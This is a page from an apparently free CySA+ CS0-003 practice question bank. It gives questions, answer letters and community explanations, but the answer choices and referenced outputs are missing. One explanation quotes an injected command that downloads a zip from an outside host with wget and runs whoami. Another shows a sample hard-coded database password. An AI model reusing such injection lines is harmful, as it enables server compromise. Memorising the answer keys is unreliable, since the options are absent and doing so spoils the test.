CompTIA Cybersecurity Analyst (CySA+)527 questions across 53 pages are complete and free, with no account or card.
527 questions in this bank
Free access · progress saved on this device
A security analyst needs to block vulnerable ports and disable legacy protocols. The analyst has ensured NetBIOS trio, Telnet, SMB, and TFTP are blocked and/or disabled. Which of the following additional protocols should the analyst block next?
Answer: B
An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database server. Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Choose two).
Answer: BD
D. Use microsegmentation to restrict connectivity to/from the web and database servers. Microsegmentation involves dividing the network into smaller, isolated segments, and it can be a highly effective way to contain an adversary's movement within the network. By restricting connectivity between the web server and the database server to only the necessary communication paths, you can limit the attacker's ability to move laterally within the network. B. Deploy EDR on the web server and the database server to reduce the adversary’s capabilities. Endpoint Detection and Response (EDR) solutions are designed to monitor and respond to suspicious activities on endpoints (servers, workstations). By deploying EDR on both the web server and the database server, you can actively detect and respond to malicious activities, reducing the adversary's capabilities and potentially stopping their progress.
Source: Adapted from community discussion — chaddman
An incident response team member is triaging a Linux server. The output is shown below:
Which of the following is the adversary most likely trying to do?
Answer: B
Looking at the output I see that it is running container.getInstance.(#wget http://grohl.ve.da/tmp/brkgtr.zip;#whoami) Of the options proposed, it seems that option B is the most logical answer.
Source: Adapted from community discussion — kmordalv
A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application: getConnection(database01,"alpha" ,"AxTv.127GdCx94GTd"); Which of the following is the most likely vulnerability in this system?
Answer: C
The most likely vulnerability in the given content is: C. Hard-coded credential In the provided content, the string "AxTv.127GdCx94GTd" appears to be a hard-coded credential (e.g., a password) embedded directly within the code. This is a security vulnerability because it means that the application is using a static, unchanging credential for database access, which is generally not recommended for security reasons. Hard-coded credentials can be easily discovered by attackers who have access to the application's code or binary, and they can potentially lead to unauthorized access to sensitive data or systems. It's essential to store credentials securely and use techniques like encryption, secure key management, and password rotation to enhance security.
Source: Adapted from community discussion — chaddman
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
Answer: A
The Answer here is A, because a business continuity plan (BCP) is a document that consists of the critical information an organization needs to continue operating during an unplanned event. The BCP states the essential functions of the business, identifies which systems and processes must be sustained, and details how to maintain them. Note that a Disaster recovery plan is a document to re-energise systems or repair a system after it has been affected by a bad incidents
Source: Adapted from community discussion — attesco
A technician is analyzing output from a popular network mapping tool for a PCI audit:
Which of the following best describes the output?
Answer: C
Correct. The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated.
Source: Adapted from community discussion — kmordalv
A SOC team lead occasionally collects some DNS information for investigations. The team lead assigns this task to a new junior analyst. Which of the following is the best way to relay the process information to the junior analyst?
Answer: D
A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network. Which of the following would best aid in decreasing the workload without increasing staff?
Answer: C
Correct. Security Orchestration, Automation, and Response (SOAR) would be the best option to aid in decreasing the workload without increasing staff. SOAR platforms are designed to streamline and automate various security operations tasks, allowing security teams to respond to incidents more efficiently. By implementing a SOAR solution, the managed security service provider can significantly reduce the manual workload on their security team, allowing them to handle a larger number of devices and incidents without having to hire additional staff.
Source: Adapted from community discussion — kmordalv
An employee is suspected of misusing a company-issued laptop. The employee has been suspended pending an investigation by human resources. Which of the following is the best step to preserve evidence?
Answer: D
Read the question, "An employee is suspected of misusing a company-issued laptop. The employee has been suspended pending an investigation by human resources. Which of the following is the best step to preserve evidence?" The focus is the laptop. We need to image it and hash the image. The answer cant be legal hold as there is not regulatory or legal invoked. It says he misused the laptop, no detail was given to how it was misused. There are a number of things he could have been doing which would have been against company policy, but would not have triggered a legal hold. There is nothing to indicate there is potential litigation pending.
Source: Adapted from community discussion — b0ad9e1
An analyst receives threat intelligence regarding potential attacks from an actor with seemingly unlimited time and resources. Which of the following best describes the threat actor attributed to the malicious activity?
Answer: C
Certmaster 2A: The "advanced" part of an APT is a crucial identifier, as these types of threats are rarely executed by lone attackers using publicly available exploits or exploit frameworks (such as Metasploit). APT threat groups can access considerable financial and personnel resources, including teams specializing in custom exploit development and execution. APTs spend considerable time gathering intelligence on their targets to develop highly specific exploits. APT groups often combine many different attack elements into a carefully planned and orchestrated attack that may unfold over several months or longer. APTs have diverse overall goals, but since a significant focus of their attack activities includes custom software development and stealth, most APTs are interested in maintaining access—or persistence—to networks and systems. Because of this, APTs are some of the most notorious and harmful threats to organizations and governments.
Source: Adapted from community discussion — Kmelaun
Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page
CS0-003 practice, question 381. 527 questions available.
Version 1.0.0. How we source questions